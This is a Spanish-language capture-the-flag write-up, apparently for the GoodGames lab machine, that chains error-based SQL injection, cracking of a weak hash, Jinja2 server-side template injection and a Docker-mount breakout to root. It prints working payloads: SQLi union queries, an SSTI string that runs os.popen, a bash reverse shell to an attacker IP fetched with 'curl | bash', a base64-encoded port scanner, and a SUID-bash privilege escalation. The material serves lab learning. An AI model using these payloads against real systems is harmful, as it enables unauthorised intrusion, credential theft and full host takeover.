Skills:

  • SQLI (Error Based)
  • Hash Cracking Weak Algorithms
  • Password Reuse
  • Server Side Template Injection SSTI
  • Docker_Breakout (Privilege Escalation) [PIVOTING]

Iniciamos realizando un scaneo de puertos si nos metemos en la web vemos que hay varios formularios, vamos a intentar hacer un SQLi a ver si reacciona. vamos a capturar la peticion con burpsuite y vamos a saltarnos la verificacion de correo valido. es vulnerable, asique vamos a poner esto en la peticion y haremos un forward para se admin tenemos este correo admin@goodgames.htb y hay tambien un panel de ajustes al que parece ser que no tenemos acceso https://internal-administration.goodgames.htb/ agregamos el host al archivo host y buscamos sin https es decir: y ahora lo buscamos vamos a intentar, aprovechando la SQLi de antes, encontrata credenciales validos, primero vamos a ver si encontramos el numero de columnas, en este caso 4, ya que si ponemos mas el content length cambia para mal (ya que si ponemos 1323423 tambien nos lo pondria) ya que sabemos que estamos usando Flask Volt vamos a ver si el servidor hacer server side template injection SSTI viendo si hace esta cuenta

email=234234234' union select 1,2,3,"{{7*7}}"-- -&password=marce

vemos que almenos esta parte no es vulnerable ya que no hace el calculo

Si hacemos un union select vemos esto: nos muestra el ultimo valor asique vamos a jugar con eso para encontrar datos, vamos a ver el nombre de la base de datos estamos en la main, ahora vamos todas las bases de datos que podemos ver

email=234234234' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=marce

solo hay 1 realmente asique vamos a ver las tablas de esta base de datos otra forma de hacerlo desde consola seria asi:

for i in $(seq 0 100); do echo "[+] Para el número $i: $(curl -s -X POST http://10.10.11.130/login --data "email=test@test.com' union select 1,2,3,table_name from information_schema.tables where table_schema=\"main\" limit $i,1-- -&password=asdf" | grep "Welcome" | sed 's/^ *//' | awk 'NF{print $NF}' | awk '{print $1}' FS="<")"; done

ahora vamos a ver las columnas

email=234234234' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema = "main" and table_name = "user"-- -&password=marce

ahora vamos a lista los usuarios y password admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec admin@goodgames.htb:superadministrator ahora ponemos admin:superadministrator y tenemos acceso al panel de admin tenemos una forma de representar nuestro input vamos a ver si hace calculos esto puede hacer referencia a un SSIT https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection vamos a intentar explotarlo, nos vamos a este recurso. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection, concretamete a python-jinja2 y seguimos las intrucciones,despues de ponernos en escucha use esta opcion

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

lo tenemos!!, ahora vamos a intentar una revershell, pero no podemos al parcer estamos en un contenedor!!

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('hostname -i').read() }}

vamos a ver si podemos hacer es validad si tenemos conexion por traza ICMP, para ello nos ponemos en escucha por icmp usando tcpdump

tcpdump -i tun0 icmp -n

y mandamos un ping

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ping -c 1 10.10.14.39').read() }}

y si tienemos conexion por ICMP ahora viene el punto de hacer un revershell, para ello vamos a crear un archivo html con este valor:

#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.39/443 0>&1

ahora vamos a compartir el recurso con python ya que asi si mostramos el texto de esta forma ahora si hacemos un curl en la victima, vera esto:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.39').read() }}

ahora si nos ponemos en escucha y hacemos que se interprete con bash tenemos una revershell.

nc -lnvp 443

en la victima:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.39 | bash').read() }}

y ya tenemos la revershell vamos a hacer un Tratamiento de la tty ahora vamos a intentar salir del docker, vemos que tenemos la ip: 172.19.0.2 por lo que podemos deducir que hay una ip 172.19.0.1 la cual es la interface que conecta la maquina real conn el docker, vamos a comprobarlo

route -n

ahora investigando nos damos cuenta de que hay un directorio en home llamado augustus pero si nos vamos al /etc/passwd no esta este usuario “1000” esto significa que lo mas problable es que estemos jugando con monturas, es decir es posible que el directorio de la maquina real, este montado en el docker, para poder verlo podemos usar este comando:

mount 

pero para poder filtrar un poco vamos a poner el directorio donde queremos saber si hay algo montado que en este caso es home

mount | grep home

vemos que el directorio dev/sda1 esta montado en /home/augustus, vamos a listar todos los discos en el equipo, con cualquiera de estos dos comandos

fdisk -l
o
df -h

vamos a ver que puertos tiene abiertos la ip del docker 172.19.0.1, para ello vamos a hacer uso de este comando comprobando el codigo de estado si es 0 significa que el puerto esta abierto pero si es 1 es que esta cerrado vamos a hacer un script

(echo '' > /dev/tcp/172.19.0.1/81) 2>/dev/null && echo "[+] Puerto abierto" || echo "[-] Puerto Cerrado"

esto nos dice si el pierto esta abierto o cerrado, asique vamos a automatizarlo, (creamos el script en nuestra maquina para porder ahcer mas comodos)

#!/bin/bash
 
function ctrl_c(){
  echo -e "\n\n[!] Saliendo...\n"
  tput cnorm; exit 1
}
 
#ctrl+c
 
trap ctrl_c INT
 
tput civis
 
for port in $(seq 1 65535); do
  (timeout 1 bash -c "echo '' > /dev/tcp/172.19.0.1/$port" 2>/dev/null) && echo "[+] Puerto abierto: $port" || echo "[-] Puerto Cerrado: $echo"&
done; wait
tput cnorm

ahora vamos ha pasarla base64 para poder usarlo en la maquina victima ya que la maquina victima no tiene ningun editor de codigo

IyEvYmluL2Jhc2gKCmZ1bmN0aW9uIGN0cmxfYygpewogIGVjaG8gLWUgIlxuXG5bIV0gU2FsaWVuZG8uLi5cbiIKICB0cHV0IGNub3JtOyBleGl0IDEKfQoKI2N0cmwrYwoKdHJhcCBjdHJsX2MgSU5UCgp0cHV0IGNpdmlzCgpmb3IgcG9ydCBpbiAkKHNlcSAxIDY1NTM1KTsgZG8KICAodGltZW91dCAxIGJhc2ggLWMgImVjaG8gJycgPiAvZGV2L3RjcC8xNzIuMTkuMC4xLyRwb3J0IiAyPi9kZXYvbnVsbCkgJiYgZWNobyAiWytdIFB1ZXJ0byBhYmllcnRvOiAkcG9ydCIgfHwgZWNobyAiWy1dIFB1ZXJ0byBDZXJyYWRvOiAkZWNobyImCmRvbmU7IHdhaXQKdHB1dCBjbm9ybQo=

ahora en la victima lo decodeamos y pasamos a un archivo y le damos permisos de ejecucion y lo ejecutamos grepeando por el puerto que esta abierto vamos a ver si podemos hacer algo con ese puerto 22, vamos a intentar reutilizar credenciales admin:superadministrator o tambien augustus:superadministrator ya que es un usuario que sabesmos que existe

ahora vamos a intentar escalar privilegios, podemos intentarlo atraves de docker mirando si estamos en el grupo de docker en este caso no, asique vamos a buscar otras formas, si nos fijamos el path es muy pequeño vamos a poner el path de nustro equipo para extender las localizaciones de binario

export PATH=/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/opt/nvim/nvim-linux64/bin:/usr/sbin:/root/.fzf/bin

ahora vamos a analizar por archivos con permisos SUID pero no hay asique vamos a ver si tenemos capabilities con getcap buscamos capabilities en todo el equipo pero solo lo tenemos en ping asi que no podemos hacer nada, vamos a hacer una cosa ya que somos root en el docker, vamos a copiar la bash a la montura y luego le vamos a dar permisos SUID asi como hacer root al propitario y luego desde fuera del docker vamos a ejecutarla ahora nos vamos al docker (exit) y cambiamos los permisos y el propietario ahora nos vamos a la maquina real y ya la tenemos